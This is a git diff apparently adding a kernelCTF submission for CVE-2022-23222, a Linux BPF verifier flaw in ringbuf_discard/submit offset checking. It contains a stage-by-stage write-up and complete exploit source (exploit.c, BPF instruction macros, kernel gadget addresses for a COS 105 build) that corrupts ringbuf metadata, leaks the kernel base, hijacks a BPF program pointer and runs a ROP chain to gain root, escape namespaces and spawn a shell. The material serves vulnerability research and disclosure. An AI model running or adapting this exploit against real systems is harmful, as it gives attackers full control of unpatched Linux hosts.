diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2022-23222_cos/docs/exploit.md new file mode 100644 index 000000000..7eaf99091 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2022-23222_cos/docs/exploit.md @@ -0,0 +1,154 @@ +## Overview + +There are many types of BPF programs and only some of them are available to unprivileged users. + +For this exploit we will use socket filter programs, but we will run them using the BPF_PROG_TEST_RUN command instead of attaching to a socket. +This gives us the ability to provide in/out context and pass the data to/from the program easily. + +At the beginning we create two ringbuf maps. + +The exploit itself consists of 4 BPF programs. + +All except the last one (which executes our ROP chain) call the ringbuf_reserve() and ringbuf_discard() BPF functions - all ringbuf_reserve() calls must be followed by ringbuf_discard() or ringbuf_commit(), otherwise the verifier will complain about unreleased resources. + +## Stage 1 - corrupting struct bpf_ringbuf + +struct bpf_ringbuf looks like this: +``` +struct bpf_ringbuf { + wait_queue_head_t waitq; /* 0 0x18 */ + struct irq_work work; /* 0x18 0x18 */ + u64 mask; /* 0x30 0x8 */ + struct page * * pages; /* 0x38 0x8 */ + int nr_pages; /* 0x40 0x4 */ + + spinlock_t spinlock __attribute__((__aligned__(64))); /* 0x80 0x4 */ + + long unsigned int consumer_pos __attribute__((__aligned__(4096))); /* 0x1000 0x8 */ + long unsigned int producer_pos __attribute__((__aligned__(4096))); /* 0x2000 0x8 */ + char data[] __attribute__((__aligned__(4096))); /* 0x3000 0 */ +}; +``` + +It's a variable-length object that stores both metadata and the contents of the ringbuf and it is allocated using alloc_pages_node() + vmap() in bpf_ringbuf_area_alloc(). + +Here's how this object is initialized: +``` +static struct bpf_ringbuf *bpf_ringbuf_alloc(size_t data_sz, int numa_node) +{ + struct bpf_ringbuf *rb; + + rb = bpf_ringbuf_area_alloc(data_sz, numa_node); + if (!rb) + return NULL; + + spin_lock_init(&rb->spinlock); + init_waitqueue_head(&rb->waitq); + init_irq_work(&rb->work, bpf_ringbuf_notify); + + rb->mask = data_sz - 1; + rb->consumer_pos = 0; + rb->producer_pos = 0; + + return rb; +} + +``` + +One of the most important fields is 'mask' - it stores the data size of a ringbuf (max_entries-1) and is used by bpf_ringbuf_reserve() to check if the size requested by the caller is within the boundaries of the ringbuf. + + +Stage 1 BPF program makes only 2 calls: +1. rec = ringbuf_reserve(ringbuf, 0x10, 0) // rec == rb->data+8 +2. ringbuf_discard(rec - 0x2fd0) // rec - 0x2fd0 == &rb->mask + 8 + +ringbuf_discard() is handled by the bpf_ringbuf_commit() with discard=true argument: + +``` +static void bpf_ringbuf_commit(void *sample, u64 flags, bool discard) +{ + unsigned long rec_pos, cons_pos; + struct bpf_ringbuf_hdr *hdr; + struct bpf_ringbuf *rb; + u32 new_len; + + hdr = sample - BPF_RINGBUF_HDR_SZ; // [1] + rb = bpf_ringbuf_restore_from_rec(hdr); + new_len = hdr->len ^ BPF_RINGBUF_BUSY_BIT; + if (discard) + new_len |= BPF_RINGBUF_DISCARD_BIT; + + /* update record header with correct final size prefix */ + xchg(&hdr->len, new_len); // [2] +... +} + +struct bpf_ringbuf_hdr { + u32 len; + u32 pg_off; +}; + +``` + +Because we pointed sample at &rb->mask + 8, hdr at [1] will point at rb->mask, so hdr.len maps to the first 32 bits of rb->mask. +Our ringbuf was created with max_entries value of 0x2000, so rb->mask / hdr->len is 0x1fff at this point. +After OR-ing with BPF_RINGBUF_DISCARD_BIT new_len becomes 0xc0001fff and this value is saved in rb->mask at [2]. + +This means we are now able to read/write to ~3 GB of memory starting at rb->data. + +## Stage 2 - leaking kernel function pointer + +This program makes following operations: + +1. rec = ringbuf_reserve(ringbuf, 0x6000, 0) +2. fnptr = rec[0x4fe0 + 0x28] // This points to work.func field of the second allocated ringbuf +3. ctx->cb[0] = fnptr // for socket filters context is struct \_\_sk_buff and we are able to write only to selected fields like cb +4. ringbuf_discard(rec, 1) + +We can now read the address of bpf_ringbuf_notify from the context to calculate the kernel base. + +## Stage 3 - writing ROP to an array map and overwriting bpf_prog->bpf_func + +BPF program objects (struct bpf_prog) are allocated using vmalloc so we can place one after our ringbuf objects. +The most important field of that object is: +``` + unsigned int (*bpf_func)(const void *, const struct bpf_insn *); /* 0x30 0x8 */ +``` + +This is a function that gets called when a BPF program is executed. + +Here's what our stage 3 program does: + +1. rec = ringbuf_reserve(ringbuf, 0x20000) +2. new_bpf_func = ctx->cb[0] // Address of a pivot gadget +3. rec[0xcfd8 + 0x30] = new_bpf_func // &bpf_prog.bpf_func +4. skb_load_bytes(test_data_in, 0, 0xcfd8 + 0x48, 0x100) // &bpf_prog.insn +5. ringbuf_discard(rec, 1) + +This overwrites bpf_func of the stage4 program and copies ROP provided as skb data to bpf_prog.insn[]. + +## Stage 4 - executing program to get RIP control + +All we have to do now is run the stage 4 program to get RIP control. + +## Pivot to ROP + +When .bpf_func is called, RSI contains a pointer to bpf_prog.insn, where our ROP is located. + +Only 2 gadgets are needed to pivot to the ROP chain: + + +``` +push rsi +jmp qword ptr [rsi + 0x66] +``` + +and + +``` +pop rsp +``` + +## Privilege escalation + +The ROP chain does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace. diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2022-23222_cos/docs/vulnerability.md new file mode 100644 index 000000000..fe0f372b4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2022-23222_cos/docs/vulnerability.md @@ -0,0 +1,48 @@ +## Requirements to trigger the vulnerability + +- Kernel configuration: CONFIG_BPF and CONFIG_BPF_SYSCALL +- User namespaces required: no + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=457f44363a8894135c85b7a9afd2bd8196db24ab + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=64620e0a1e712a778095bd35cbb277dc2259281f + +## Affected kernel versions + +Introduced in 5.8. Fixed in 5.15.157 and other stable trees. + +## Affected component, subsystem + +bpf + +## Description + +Commit message explains the verifier issue well: + +> Both bpf_ringbuf_submit() and bpf_ringbuf_discard() have ARG_PTR_TO_ALLOC_MEM +> in their bpf_func_proto definition as their first argument. They both expect +> the result from a prior bpf_ringbuf_reserve() call which has a return type of +> RET_PTR_TO_ALLOC_MEM_OR_NULL. +> +> Meaning, after a NULL check in the code, the verifier will promote the register +> type in the non-NULL branch to a PTR_TO_MEM and in the NULL branch to a known +> zero scalar. Generally, pointer arithmetic on PTR_TO_MEM is allowed, so the +> latter could have an offset. +> +> The ARG_PTR_TO_ALLOC_MEM expects a PTR_TO_MEM register type. However, the non- +> zero result from bpf_ringbuf_reserve() must be fed into either bpf_ringbuf_submit() +> or bpf_ringbuf_discard() but with the original offset given it will then read +> out the struct bpf_ringbuf_hdr mapping. +> +> The verifier missed to enforce a zero offset, so that out of bounds access +> can be triggered which could be used to escalate privileges if unprivileged +> BPF was enabled (disabled by default in kernel). + +bpf_ringbuf_submit() and bpf_ringbuf_discard() expect the argument to point to a valid ringbuf record and use it to calculate an address to a struct bpf_ringbuf_hdr without any further checks. + +Because of the verifier bug described above we can cause bpf_ringbuf_submit()/bpf_ringbuf_discard() to interpret any data as bpf_ringbuf_hdr, causing out-of-bounds read/write issues leading to arbitrary code execution. + diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/Makefile b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/Makefile new file mode 100644 index 000000000..15d7970b3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_17412.294.62.h + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/bpf_insn.h b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/bpf_insn.h new file mode 100644 index 000000000..e6bbbaadf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/bpf_insn.h @@ -0,0 +1,241 @@ +/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ +/* eBPF instruction mini library */ +#ifndef __BPF_INSN_H +#define __BPF_INSN_H + +struct bpf_insn; + +/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_ALU32_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_ALU32_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Short form of mov, dst_reg = src_reg */ + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* Short form of mov, dst_reg = imm32 */ + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + + +/* Direct packet access, R0 = *(uint *) (skb->data + imm32) */ + +#define BPF_LD_ABS(SIZE, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Memory load, dst_reg = *(uint *) (src_reg + off16) */ + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* + * Atomic operations: + * + * BPF_ADD *(uint *) (dst_reg + off16) += src_reg + * BPF_AND *(uint *) (dst_reg + off16) &= src_reg + * BPF_OR *(uint *) (dst_reg + off16) |= src_reg + * BPF_XOR *(uint *) (dst_reg + off16) ^= src_reg + * BPF_ADD | BPF_FETCH src_reg = atomic_fetch_add(dst_reg + off16, src_reg); + * BPF_AND | BPF_FETCH src_reg = atomic_fetch_and(dst_reg + off16, src_reg); + * BPF_OR | BPF_FETCH src_reg = atomic_fetch_or(dst_reg + off16, src_reg); + * BPF_XOR | BPF_FETCH src_reg = atomic_fetch_xor(dst_reg + off16, src_reg); + * BPF_XCHG src_reg = atomic_xchg(dst_reg + off16, src_reg) + * BPF_CMPXCHG r0 = atomic_cmpxchg(dst_reg + off16, r0, src_reg) + */ + +#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = OP }) + +/* Legacy alias */ +#define BPF_STX_XADD(SIZE, DST, SRC, OFF) BPF_ATOMIC_OP(SIZE, BPF_ADD, DST, SRC, OFF) + +/* Memory store, *(uint *) (dst_reg + off16) = imm32 */ + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */ + +#define BPF_JMP_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Raw code statement block */ + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +/* Program exit */ + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#endif + +#define BPF_CALL_FUNC(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL | BPF_K, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = FUNC }) diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/exploit b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/exploit new file mode 100755 index 000000000..aaa2f0546 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/exploit.c b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/exploit.c new file mode 100644 index 000000000..5f24c18dd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/exploit.c @@ -0,0 +1,380 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include "bpf_insn.h" + + +#include "kernelver_17412.294.62.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x2000 + +static int g_pwned; + +#define KOFFSET(x) (x-0xffffffff81000000uL) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack and recover eflags since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + + +#define LOG_BUF_SIZE 655360 +char bpf_log_buf[LOG_BUF_SIZE]; + +static __u64 ptr_to_u64(void *ptr) +{ + return (__u64) (unsigned long) ptr; +} + +int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) +{ + union bpf_attr attr = { + .prog_type = prog_type, + .insns = ptr_to_u64((void *) insns), + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = ptr_to_u64((void *) license), + .log_buf = ptr_to_u64(bpf_log_buf), + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries) +{ + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +int load_prog(struct bpf_insn *prog, size_t sz) +{ + int fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sz, "GPL", 0); + if (fd < 0) { + puts(bpf_log_buf); + err(1, "prog load"); + } + + return fd; +} + +uint64_t g_data_in[64]; +char g_ctx_in[sizeof(struct __sk_buff)]; +char g_ctx_out[sizeof(struct __sk_buff)]; + +int bpf_test_run(int prog_fd) +{ + + union bpf_attr attr = { + .test.prog_fd = prog_fd, + .test.ctx_size_in = sizeof(g_ctx_in), + .test.ctx_in = ptr_to_u64(g_ctx_in), + .test.ctx_size_out = sizeof(g_ctx_out), + .test.ctx_out = ptr_to_u64(g_ctx_out), + .test.data_size_in = sizeof(g_data_in), + .test.data_in = ptr_to_u64(g_data_in), + .test.flags = 0, + .test.cpu = 0 + }; + + + int ret = syscall(__NR_bpf, BPF_PROG_TEST_RUN, &attr, sizeof(attr)); + if (ret < 0) + err(1, "test_run"); + + return attr.test.retval; +} + +size_t prepare_rop(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); // 0x10 + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; // 0x20 + *rop2++ = kaddr(FIND_TASK_BY_VPID); + *rop2++ = kaddr(MOV_RAX_RDI); // 0x30 + + + *rop2++ = kaddr(POP_RSI); + *rop2++ = kaddr(INIT_NSPROXY); // 0x40 + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); // 0x50 +// eflags + *rop2++ = 0; + rop2 += 6; + + *(uint64_t *) ((char *) rop2_start + 0x66) = kaddr(POP_RSP); + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + +int main(int argc, char **argv) +{ + setbuf(stdout, NULL); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + struct bpf_insn empty_prog[] = { + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + }; + + +// Allocate some programs to consume pages from the cache and get to fresh memory with consecutive addresses + for (int i = 0; i < 100; i++) + { + load_prog(empty_prog, sizeof(empty_prog)); + } + + + int ring_map = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x2000); + int ring_map2 = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x2000); + + if (ring_map < 0 || ring_map2 < 0) + err(1, "create_map ringbuf"); + + int stage4_fd = load_prog(empty_prog, sizeof(empty_prog)); + + unsigned int ctx_offset = 0x30; + + struct bpf_insn stage1_prog[] = { + BPF_LD_MAP_FD(BPF_REG_1, ring_map), + BPF_MOV64_IMM(BPF_REG_2, 0x10), + BPF_MOV64_IMM(BPF_REG_3, 0), + BPF_CALL_FUNC(BPF_FUNC_ringbuf_reserve), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), + BPF_EXIT_INSN(), + + BPF_MOV64_REG(BPF_REG_1, BPF_REG_0), + BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 0x2fd0), + BPF_MOV64_IMM(BPF_REG_2, 1), + BPF_CALL_FUNC(BPF_FUNC_ringbuf_discard), + + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + }; + + struct bpf_insn stage2_prog[] = { + BPF_MOV64_REG(BPF_REG_6, BPF_REG_1), + BPF_LD_MAP_FD(BPF_REG_1, ring_map), + BPF_MOV64_IMM(BPF_REG_2, 0x6000), + BPF_MOV64_IMM(BPF_REG_3, 0), + BPF_CALL_FUNC(BPF_FUNC_ringbuf_reserve), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), + BPF_EXIT_INSN(), + + BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), + + BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_7, 0x4fe0 + 0x28), + BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, ctx_offset), + + BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), + BPF_MOV64_IMM(BPF_REG_2, 1), + BPF_CALL_FUNC(BPF_FUNC_ringbuf_discard), + + BPF_MOV64_IMM(BPF_REG_0, 6), + BPF_EXIT_INSN() + }; + + struct bpf_insn stage3_prog[] = { +// reg_6 - ctx +// reg_7 - ringbuf mem + BPF_MOV64_REG(BPF_REG_6, BPF_REG_1), + + BPF_LD_MAP_FD(BPF_REG_1, ring_map), + BPF_MOV64_IMM(BPF_REG_2, 0x20000), + BPF_MOV64_IMM(BPF_REG_3, 0), + BPF_CALL_FUNC(BPF_FUNC_ringbuf_reserve), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), + BPF_EXIT_INSN(), + + BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), + +// bpf_func + BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, ctx_offset), + BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0xcfd8 + 0x30), + BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), + +// copy rop + BPF_MOV64_REG(BPF_REG_1, BPF_REG_6), + BPF_MOV64_IMM(BPF_REG_2, 0), + BPF_MOV64_REG(BPF_REG_3, BPF_REG_7), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0xcfd8 + 0x48), + BPF_MOV64_IMM(BPF_REG_4, 0x100), + + BPF_CALL_FUNC(BPF_FUNC_skb_load_bytes), + + BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), + BPF_MOV64_IMM(BPF_REG_2, 1), + BPF_CALL_FUNC(BPF_FUNC_ringbuf_discard), + + BPF_MOV64_IMM(BPF_REG_0, 6), + BPF_EXIT_INSN() + }; + + bpf_test_run(load_prog(stage1_prog, sizeof(stage1_prog))); + bpf_test_run(load_prog(stage2_prog, sizeof(stage2_prog))); + + g_kernel_text = *(uint64_t *) (g_ctx_out + ctx_offset) - (BPF_RINGBUF_NOTIFY - 0xffffffff81000000); + + printf("Leaked kernel base: 0x%lx\n", g_kernel_text); + + *(uint64_t *) (g_ctx_in + ctx_offset) = kaddr(PUSH_RSI_JMP_QWORD_RSI_066); + + prepare_rop((uint64_t *) ((char *) g_data_in + 14)); + + bpf_test_run(load_prog(stage3_prog, sizeof(stage3_prog))); + + bpf_test_run(stage4_fd); + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/kernelver_17412.294.62.h b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/kernelver_17412.294.62.h new file mode 100644 index 000000000..5e798539c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2022-23222_cos/exploit/cos-105-17412.294.62/kernelver_17412.294.62.h @@ -0,0 +1,30 @@ +#define MSLEEP 0xffffffff8116a030 +#define COPY_USER_GENERIC_STRING 0xffffffff817d6700 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0x +#define FIND_TASK_BY_VPID 0xffffffff81105680 +#define RETURN_THUNK 0xffffffff82404300 +#define POP_RSP_RBP_RBX 0xffffffff81068159 +#define POP_RCX 0xffffffff8102883c +#define INIT_CRED 0xffffffff83462180 +#define PUSH_RSI_JMP_QWORD_RSI_066 0xffffffff81bcf182 +#define POP_RSI_RDX_RCX 0xffffffff8102883a +#define INIT_NSPROXY 0xffffffff83461f40 +#define SWITCH_TASK_NAMESPACES 0xffffffff8110ce30 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff813dc482 +#define PUSH_RSI_JMP_QWORD_RSI_02E 0xffffffff81c62b14 +#define POP_RDI_RSI_RDX_RCX 0xffffffff81028839 +#define POP_RSI_RDI 0xffffffff81970c41 +#define POP_RDX_RDI 0xffffffff817c1fdb +#define AUDIT_SYSCALL_EXIT 0xffffffff811b2d30 +#define RETURN_VIA_SYSRET 0xffffffff822001cf +#define MEMCPY 0xffffffff82006190 +#define SET_MEMORY_RW 0xffffffff8107ea50 +#define COMMIT_CREDS 0xffffffff8110e830 +#define POP_RSI 0xffffffff81fd2b67 +#define POP_RSP 0xffffffff81106deb +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff81028831 +#define POP_RDI 0xffffffff810d13ac +#define POP_RDX 0xffffffff810644dd +#define RW_BUFFER 0xffffffff83500000 +#define BPF_RINGBUF_NOTIFY 0xffffffff81232d50 +#define MOV_RAX_RDI 0xffffffff8118d6ad diff --git a/pocs/linux/kernelctf/CVE-2022-23222_cos/metadata.json b/pocs/linux/kernelctf/CVE-2022-23222_cos/metadata.json new file mode 100644 index 000000000..4d0ce225c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2022-23222_cos/metadata.json @@ -0,0 +1,30 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp163" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=64620e0a1e712a778095bd35cbb277dc2259281f", + "cve": "CVE-2022-23222", + "affected_versions": [ + "5.15 - 5.15.156" + ], + "requirements": { + "attack_surface": [ + ], + "capabilities": [ + ], + "kernel_config": [ + "CONFIG_BPF", "CONFIG_BPF_SYSCALL" + ] + } + }, + "exploits": { + "cos-105-17412.294.62": { + "uses": [ + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + } + } +} diff --git 